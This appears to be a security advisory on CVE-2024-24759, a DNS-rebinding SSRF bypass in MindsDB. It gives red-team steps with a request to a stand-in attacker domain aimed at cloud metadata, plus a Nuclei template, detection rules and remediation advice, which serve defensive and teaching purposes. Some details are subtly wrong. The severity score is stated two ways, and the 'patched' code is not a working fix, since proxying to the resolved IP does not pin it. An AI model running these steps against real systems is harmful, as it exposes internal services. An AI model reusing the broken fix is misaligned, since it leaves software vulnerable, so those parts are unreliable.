CVE-2024-24759

Executive Summary

CVE-2024-24759 is a critical Server-Side Request Forgery (SSRF) protection bypass vulnerability in MindsDB, an open-source platform for building AI from enterprise data. The vulnerability allows a remote, unauthenticated attacker to bypass the built-in SSRF protection mechanisms using a DNS rebinding attack. This can lead to unauthorized access to internal network resources and denial of service (DoS). The vulnerability affects all versions prior to 23.12.4.2. The CVSS score is 9.3 (Critical), and a public proof-of-concept (Nuclei template) is available, increasing the risk of exploitation.

Supply Chain & Package Security

MindsDB is distributed as a Python package on PyPI (mindsdb). Organizations using vulnerable versions of this package are at risk. The supply chain risk is elevated due to the availability of a public exploit template and the critical nature of the vulnerability. Users should immediately update to version 23.12.4.2 or later to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, has a low attack complexity, and a public exploit exists. The impact includes potential access to internal systems and denial of service.

Deep Dive & Mechanics

The vulnerability resides in the URL validation mechanism used by MindsDB to prevent SSRF attacks. The application performs a DNS resolution of a user-supplied URL to check if it resolves to a private or internal IP address. However, this check is performed only once at the time of validation.

DNS Rebinding Attack: An attacker can register a domain name that initially resolves to a public IP address (passing the SSRF check). After the validation passes, the attacker changes the DNS record to point to a private IP address (e.g., 127.0.0.1, 10.0.0.1). When the application subsequently makes a request to the same domain, the DNS resolution returns the new private IP, allowing the attacker to interact with internal services.

Attack Flow:

1. Attacker registers a domain and sets its DNS A record to a public IP they control.
2. Attacker sends a request to MindsDB with a URL pointing to their domain (e.g., https://attacker-controlled-domain.com/).
3. MindsDB validates the URL by resolving the domain, gets the public IP, and considers it safe.
4. Attacker quickly changes the DNS A record to point to an internal IP (e.g., 169.254.169.254 for cloud metadata).
5. MindsDB makes the actual HTTP request to the domain, which now resolves to the internal IP, bypassing the SSRF protection.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code performs a single DNS lookup at validation time and does not re-validate the IP address when the actual request is made.

# Vulnerable approach
def is_safe_url(url):
    hostname = urlparse(url).hostname
    ip = socket.gethostbyname(hostname)
    if is_private_ip(ip):
        return False
    return True

# The actual request uses the same URL without re-checking
response = requests.get(url)

Patched Code (Conceptual): The patched code performs multiple DNS lookups or uses a more robust validation that prevents DNS rebinding, such as pinning the IP address or using a resolver that is resistant to rapid DNS changes.

# Patched approach - IP pinning
def is_safe_url(url):
    hostname = urlparse(url).hostname
    ip = socket.gethostbyname(hostname)
    if is_private_ip(ip):
        return False
    # Pin the IP address for the request
    response = requests.get(url, proxies={"http": f"http://{ip}:80", "https": f"http://{ip}:443"})
    return True

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A domain name you control with DNS management.
• A public-facing server to receive the initial request.
• Access to a vulnerable MindsDB instance (version < 23.12.4.2).

Steps:

1. Set up a DNS A record for your domain (e.g., evil.com) pointing to your public server IP.
2. Send a request to the MindsDB instance to trigger the SSRF check:

   GET /check_private_url?url=https://evil.com/ HTTP/1.1
   Host: target-mindsdb.com
   

3. Immediately after the request, change the DNS A record for evil.com to point to an internal IP (e.g., 169.254.169.254 for AWS metadata).
4. The MindsDB server will make the actual request to evil.com, which now resolves to the internal IP, allowing you to access internal resources.

Nuclei Template (Provided): The following Nuclei template can be used to detect the vulnerability. It uses an interactsh server to confirm out-of-band interaction.

id: CVE-2024-24759

info:
  name: MindsDB -DNS Rebinding SSRF Protection Bypass
  author: Lee Changhyun(eeche)
  severity: high
  description: |
    Detects DNS rebinding vulnerability that allows bypass of SSRF protection. The vulnerability exists in the URL validation mechanism where DNS resolution is performed without considering DNS rebinding attacks.
  impact: |
    SSRF Protection Bypass via DNS Rebinding
  remediation: |
    Upgrade to mindsdb version 23.12.4.2 or later
  reference:
    - https://github.com/advisories/GHSA-4jcv-vp96-94xr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24759
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2024-24759
    cwe-id: CWE-918
    epss-score: 0.82793
    epss-percentile: 0.9925
    cpe: cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mindsdb
    product: mindsdb
    shodan-query: title:"mindsdb"
  tags: cve,cve2024,mindsdb,ssrf,dns-rebinding,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "mindsdb")'
        internal: true

  - raw:
      - |
        GET /check_private_url?url=https://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

Blue Team (Detection & Defense)

Detection:

• Monitor for DNS queries to domains that rapidly change their A records (TTL < 60 seconds).
• Monitor for outbound HTTP requests from the MindsDB server to unusual or internal IP addresses.
• Use network monitoring to detect connections to cloud metadata IPs (e.g., 169.254.169.254).

Defense:

• Immediately upgrade MindsDB to version 23.12.4.2 or later.
• Implement network segmentation to restrict outbound traffic from the MindsDB server.
• Use a web application firewall (WAF) to block requests to suspicious URLs.
• Disable the /check_private_url endpoint if not required.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to IP addresses in private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
  • Outbound HTTP requests to 169.254.169.254 (cloud metadata).
  • DNS queries with very low TTL values (e.g., TTL < 60 seconds).
• File IOCs:
  • Logs showing requests to /check_private_url with URLs containing suspicious domains.
• Behavioral IOCs:
  • Unusual outbound connections from the MindsDB server to external IPs that are not part of normal operations.

Detection Engineering

YARA Rule

rule CVE_2024_24759_MindsDB_SSRF_Bypass {
    meta:
        description = "Detects potential exploitation of CVE-2024-24759 via DNS rebinding in MindsDB logs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24759"
        severity = "critical"
    strings:
        $s1 = "/check_private_url?url=" ascii wide nocase
        $s2 = "https://" ascii wide nocase
        $s3 = "http://" ascii wide nocase
    condition:
        all of ($s1, $s2) or all of ($s1, $s3)
}

Sigma Rule

title: CVE-2024-24759 - MindsDB SSRF Protection Bypass via DNS Rebinding
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2024-24759 by monitoring for requests to the vulnerable endpoint with external URLs.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24759
    - https://github.com/advisories/GHSA-4jcv-vp96-94xr
logsource:
    category: webserver
    product: mindsdb
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/check_private_url?url='
    condition: selection
falsepositives:
    - Legitimate use of the endpoint for testing purposes
level: high
tags:
    - attack.initial-access
    - attack.t1190

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24759 - MindsDB SSRF Bypass via DNS Rebinding"; flow:to_server,established; content:"GET"; http_method; content:"/check_private_url?url="; http_uri; pcre:"/^\/check_private_url\?url=https?:\/\//Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MindsDB: Update to version 23.12.4.2 or later immediately.
2. Restrict Network Access: Implement strict egress filtering on the MindsDB server to only allow connections to necessary external services.
3. Disable Endpoint: If the /check_private_url endpoint is not required, disable it at the web server level.

Long-Term Mitigations:

1. Implement DNS Rebinding Protection: Use a DNS resolver that is resistant to rapid DNS changes (e.g., use a resolver that caches results for a minimum TTL).
2. IP Pinning: After validating a URL, pin the resolved IP address and use it for the actual request, preventing the attacker from changing the DNS record.
3. Network Segmentation: Place the MindsDB server in a segmented network with strict access controls to internal resources.
4. Regular Security Audits: Conduct regular security assessments and code reviews to identify similar vulnerabilities.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For further inquiries, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 76245CC00DE28B9E2CA26141] */}